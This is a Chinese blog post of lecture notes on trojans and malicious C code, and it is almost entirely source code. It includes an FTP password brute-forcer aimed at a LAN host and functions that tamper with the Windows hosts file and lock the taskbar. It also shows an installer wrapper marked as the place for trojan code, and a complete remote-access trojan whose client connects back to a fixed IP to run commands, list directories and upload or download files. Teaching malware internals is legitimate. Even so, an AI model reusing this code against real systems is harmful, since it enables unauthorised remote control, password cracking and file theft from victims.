傳智播客c/c++公開課學習筆記--C語言與木馬惡意程式碼分析和360安全防護揭祕
阿新 • • 發佈:2019-02-18
【課程簡介】
C/C++語言是除了彙編之外,最接近底層的計算機語言,目前windows,linux,iOS,Android等主流作業系統都是用C/C++編寫的,所以很多病毒、木馬也都是用C/C++實現的。課程的目的就是通過C語言揭祕木馬和各種遠端控制軟體的實現原理以及如何防護。
【課程知識點】
1、木馬入侵系統的方式;
2、木馬入侵到宿主目標後的關鍵行為分析;
3、可信任埠以及埠掃描技術;
4、遠端控制的實現程式碼實現;
5、惡意程式碼中使用TCP、UDP協議與防火牆穿越技術;
6、360網路安全防護的實現原理。
窮舉密碼暴力破解ftp賬戶的密碼:
#include <stdio.h> #include <string.h> #define CONTENT "open %s\nuser\n%s\n%s\nbye\n" int write_file(const char *ip, const char *user, const char *passwd) { FILE *p = fopen("a.txt", "w"); if (p) { char buf[1024] = { 0 }; sprintf(buf, CONTENT, ip, user, passwd); fputs(buf, p); fclose(p); return 0;//如果成功,返回0 } return -1;//失敗,-1 } int main() { int i; for (i = 0; i < 1000000; i++)//假設密碼全部由數字組成 { char pass[100] = { 0 }; sprintf(pass, "%06d", i);//格式化為字串 if (write_file("192.168.101.138", "admin", pass) == 0) { FILE *p = _popen("ftp -n -s:a.txt", "r"); while (!feof(p)) { char buf[1024] = { 0 }; fgets(buf, sizeof(buf), p); if (strncmp(buf, "230", 3) == 0)//根據返回值進行判斷 230 代表成功, { printf("pass:%s\n", pass); return 0; } } _pclose(p); } } return 0; }
功能函式:
鎖死工作列
// lockmask.cpp : 定義應用程式的入口點。 // #include "stdafx.h" #include "lockmask.h" // 功能函式 /* 修改應用程式圖示 vs:替換工程名.ico檔案 QT:a.找到一張圖片.ico,名字改為myapp.ico b.建立文字文件myapp.rc。 內部新增 IDI_ICON1 ICON DISCARDABLE "myapp.ico" c. 在myapp.pro檔案最後加上RC_FILE=myapp.rc, 重新生成之後,就修改成功了; */ /* vs2013辯詞額不需要依賴庫,同時相容xp的專案 專案--屬性--配置屬性--常規--平臺工具集--windwos xp 專案--屬性--配置屬性--c/c++ --程式碼生成--執行庫--多執行緒(/MT). */ #include "stdafx.h" #include <stdio.h> #include <string.h> #include <Windows.h> #include <ShellAPI.h> #pragma warning(disable:4996) void getWinVersion()//得到win版本 { OSVERSIONINFO a; a.dwOSVersionInfoSize = sizeof(a); GetVersionEx(&a); } int setHosts(const char *IP, const char *domain)//修改hosts檔案 { char s[100] = { 0 }; GetSystemDirectoryA(s, sizeof(s));//得到windows系統目錄 char path[100] = { 0 }; sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts"); char content[1024] = { 0 }; sprintf(content, "%s %s", IP, domain); FILE *p = fopen(path, "a");//開啟hosts檔案 if (p) { fputs(content, p); fclose(p); return 0; } return -1; } HWND getTask()//得到工作列控制代碼 { typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什麼一個HWND func();型別的函式指標 PROCGETTASKMANWND GetTaskmanWindow;//定義函式指標變數 HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll庫 if (!hUser32) return NULL; GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow"); if (!GetTaskmanWindow) return NULL; HWND h = GetTaskmanWindow(); return GetParent(GetParent(h)); } int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { HWND h = getTask(); //EnableWindow(h, false);//將工作列設定為不可用 EnableWindow(h, true);//將工作列設定為可用 return 0; }
安裝程式加殼
// setupShell.cpp : 定義應用程式的入口點。 // #include "stdafx.h" #include "setupShell.h" int SetupShell()//setup.exe安裝程式加殼 { STARTUPINFO si; memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; PROCESS_INFORMATION pi; memset(&pi, 0, sizeof(PROCESS_INFORMATION)); if (CreateProcess(TEXT("setup.dat"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; } return -1; } int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { //這裡是木馬程式的程式碼 // SetupShell(); return 0; }
木馬病毒攻擊原理演示
木馬服務端:
//gcc -o server server.c -L. -lmysock
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "mysock.h"
//8192是8k
#define BUFSIZE 8192
void getfile(int sock, const char *buf)
{
char srcFile[256] = { 0 };
char destFile[256] = { 0 };
//得到使用者輸入的原始檔名和目標檔名
sscanf(buf, "get %s %s", srcFile, destFile);
char cmd[1024] = { 0 };
sprintf(cmd, "get %s", srcFile);
tcp_send(sock, cmd, strlen(cmd));//將原始檔名發
memset(cmd, 0, sizeof(cmd));
tcp_recv(sock, cmd, sizeof(cmd));//接收檔案大小,格式為字串
int len = 0;
sscanf(cmd, "%d", &len);//將檔案大小轉化為數字
//如果檔案大於0個位元組
if (len > 0)
{
FILE *p = fopen(destFile, "wb");//用寫的方式開啟目標檔案
if (p)
{
char *content = (char *)malloc(len);
memset(content, 0, len);
//給目標回覆OK,表示已經準備好,可以接收檔案內容了
tcp_send(sock, "OK", 2);
//根據len的大小,迴圈接收資料,直到收到了len位元組個數據,就停止接收
int rc = 0;
while (rc < len)
{
int aa = tcp_recv(sock, &content[rc], len - rc);
rc += aa;
}
//將收到的內容寫入檔案
fwrite(content, len, 1, p);
free(content);
fclose(p);
printf("success\n");
}
else
{
printf("open %s fail\n", destFile);
}
}
}
void putfile(int sock, const char *buf)
{
char srcFile[256] = { 0 };
char destFile[256] = { 0 };
//得到使用者輸入的原始檔名和目標檔名
sscanf(buf, "put %s %s", srcFile, destFile);
//用讀的方式開啟原始檔
FILE *p = fopen(srcFile, "rb");
if (p)
{
char cmd[1024] = { 0 };
int len = fseek(p, 0, SEEK_END);
len = ftell(p);//得到檔案長度
if (len > 0)
{
//格式化字串為put 目標檔名 檔案大小
sprintf(cmd, "put %s %d", destFile, len);
//傳送命令
tcp_send(sock, cmd, strlen(cmd));
memset(cmd, 0, sizeof(cmd));
//接收回復
tcp_recv(sock, cmd, sizeof(cmd));
//如果回覆內容為OK,代表對方已經做好接收檔案的準備
if (strcmp(cmd, "OK") == 0)
{
//根據檔案大小,在堆中開啟一個內容buffer
char *content = (char *)malloc(len);
//回到檔案開始位置
fseek(p, 0, SEEK_SET);
//將檔案內容一下讀入content
fread(content, len, 1, p);
//傳送檔案內容,如果檔案內容很大,那麼迴圈傳送,直到傳送完畢
int rc = 0;
while (rc < len)
{
int aa = tcp_send(sock, &content[rc], len - rc);
rc += aa;
}
//釋放堆記憶體內容
free(content);
}
}
fclose(p);
memset(cmd, 0, sizeof(cmd));
tcp_recv(sock, cmd, sizeof(cmd));
printf("%s\n", cmd);
}
else
{
printf("%s open fail, %s\n", srcFile, strerror(errno));
}
}
int main()
{
//建立一個TCP socket
int server_sock = create_socket(1);
if (server_sock == -1)
{
printf("create error %s\n", strerror(errno));
return 0;
}
//將socket繫結到8080埠
int rc = bind_socket(server_sock, 8080);
if (rc == -1)
{
printf("bind error %s\n", strerror(errno));
return 0;
}
//開始listen
rc = tcp_listen(server_sock);
if (rc == -1)
{
printf("listen error %s\n", strerror(errno));
return 0;
}
char IP[100] = { 0 };
//開始等待,直到有連線,返回遠端連線的socket,IP為遠端IP地址
int sock = tcp_accept(server_sock, IP);
if (sock <= 0)
{
printf("accept error %s\n", strerror(errno));
}
printf("from %s\n", IP);
char *buf = (char *)malloc(BUFSIZE);
while (1)
{
memset(buf, 0, BUFSIZE);
fgets(buf, BUFSIZE, stdin);
buf[strlen(buf) - 1] = 0;//去掉字串最後的回車鍵
//如果使用者輸入的為ls或者exec執行以下程式碼
if ((strncmp(buf, "ls ", 3) == 0) || (strncmp(buf, "exec ", 5) == 0))
{
tcp_send(sock, buf, strlen(buf));//傳送指令
memset(buf, 0, BUFSIZE);
tcp_recv(sock, buf, BUFSIZE);//接收返回結果
printf("%s\n", buf);//列印返回結果
}
else if (strncmp(buf, "get ", 4) == 0)//使用者輸入get命令
{
getfile(sock, buf);
}
else if (strncmp(buf, "put ", 4) == 0)//使用者輸入put命令
{
putfile(sock, buf);
}
else
{
printf("input command error,please input again\n");
}
}
free(buf);
close_socket(sock);//關閉連線
return 0;
}
木馬客戶端:
// file.cpp : 定義應用程式的入口點。
#include "stdafx.h"
#include "file.h"
#include "mysock.h"
#include <stdio.h>
#pragma comment(lib, "mysock.lib")
#pragma warning(disable:4996)
//8192是8k
#define BUFSIZE 8192
int exec(int sock, const char *cmd)
{
//執行指定的程式
int rc = WinExec(cmd, SW_NORMAL);
if (rc > 31)
{
//執行成功,回覆success
tcp_send(sock, "success", 7);
return 0;
}
else
{
//執行失敗,回覆fail
tcp_send(sock, "fail", 4);
return -1;
}
}
int ls(int sock, const char *dir)
{
char szFile[256] = { 0 };
strcpy(szFile, dir);
if (szFile[strlen(szFile) - 1] == '\\')
{
strcat(szFile, "*.*");
}
else
{
strcat(szFile, "\\*.*");
}
//得到指定目錄下的所有檔案
WIN32_FIND_DATAA FindFileData;
HANDLE hFind = FindFirstFileA(szFile, &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
char tmp[1024] = { 0 };
sprintf(tmp, "open %s fail", dir);
tcp_send(sock, tmp, strlen(tmp));
return -1;
}
char *buf = (char *)malloc(BUFSIZE);
memset(buf, 0, BUFSIZE);
//迴圈得到每個檔案,將結果放入buf
while (1)
{
memset(szFile, 0, sizeof(szFile));
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
sprintf(szFile, "%s\t<DIR>\n", FindFileData.cFileName);
}
else
{
sprintf(szFile, "%s\n", FindFileData.cFileName);;
}
strcat(buf, szFile);
if (!FindNextFileA(hFind, &FindFileData))
break;
}
//將得到的檔案傳送出去
tcp_send(sock, buf, strlen(buf));
free(buf);
FindClose(hFind);
return 0;
}
int put(int sock, const char *cmd)
{
char file[256] = { 0 };
int len = 0;
//得到檔名和檔案長度
sscanf(cmd, "%s %d", file, &len);
//用寫方式開啟檔案
FILE *p = fopen(file, "wb");
if (p && len)
{
//根據檔案大小,在堆中分配一塊記憶體
char *buf = (char *)malloc(len);//在堆裡面開闢一個記憶體
memset(buf, 0, len);
//回覆OK,表示已經做好接收檔案的準備
tcp_send(sock, "OK", 2);
//接收資料,如果一次接收不完,迴圈接收
int rc = 0;
while (rc < len)
{
int aa = tcp_recv(sock, &buf[rc], len - rc);
rc += aa;
}
//將收到的內容寫入檔案
fwrite(buf, len, 1, p);
free(buf);
fclose(p);
//回覆success,表示成功接收,並寫入檔案
tcp_send(sock, "success", 7);
return 0;
}
else
{
tcp_send(sock, "fail", 4);
return -1;
}
}
int get(int sock, const char *file)
{
//用讀方式開啟檔案
FILE *p = fopen(file, "rb");
if (p)
{
int len = fseek(p, 0, SEEK_END);
len = ftell(p);//得到檔案長度
char cmd[100] = { 0 };
sprintf(cmd, "%d", len);
//傳送檔名和檔案長度
tcp_send(sock, cmd, strlen(cmd));
memset(cmd, 0, sizeof(cmd));
//接收資料
tcp_recv(sock, cmd, sizeof(cmd));
//如果接收到的是OK,那麼開始傳送資料
if (strcmp(cmd, "OK") == 0)
{
//根據檔案大小,在記憶體堆中分配記憶體
char *buf = (char*)malloc(len);
memset(buf, 0, len);
//回到檔案開始位置
fseek(p, 0, SEEK_SET);
//將檔案內容讀取到buf中
fread(buf, len, 1, p);
//傳送檔案內容,如果一次傳送不完,迴圈傳送
int rc = 0;
while (rc < len)
{
int aa = tcp_send(sock, &buf[rc], len - rc);
rc += aa;
}
free(buf);
}
fclose(p);
return 0;
}
else
{
//如果檔案開啟失敗,回覆字元0
tcp_send(sock, "0", 1);
return -1;
}
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
init_socket();//初始化網路庫
//建立一個TCP socket
int sock = create_socket(1);
if (sock == -1)
{
return 0;
}
//連線到目標伺服器
int rc = tcp_connect(sock, "192.168.1.202", 8080);
if (rc == -1)
{
return 0;
}
char *buf = (char *)malloc(BUFSIZE);
//迴圈從目標伺服器接收指令
while (1)
{
memset(buf, 0, BUFSIZE);
int rc = tcp_recv(sock, buf, BUFSIZE);//接收來自與服務端的訊息
if (rc <= 0)
break;
//接收到exec指令
if (strncmp(buf, "exec ", 5) == 0)
{
exec(sock, &buf[5]);
}
//接收到ls指令
if (strncmp(buf, "ls ", 3) == 0)
{
ls(sock, &buf[3]);
}
//接收到put指令
if (strncmp(buf, "put ", 4) == 0)
{
put(sock, &buf[4]);
}
//接收到get指令
if (strncmp(buf, "get ", 4) == 0)
{
get(sock, &buf[4]);
}
}
free(buf);
close_socket(sock);
free_socket();
return 0;
}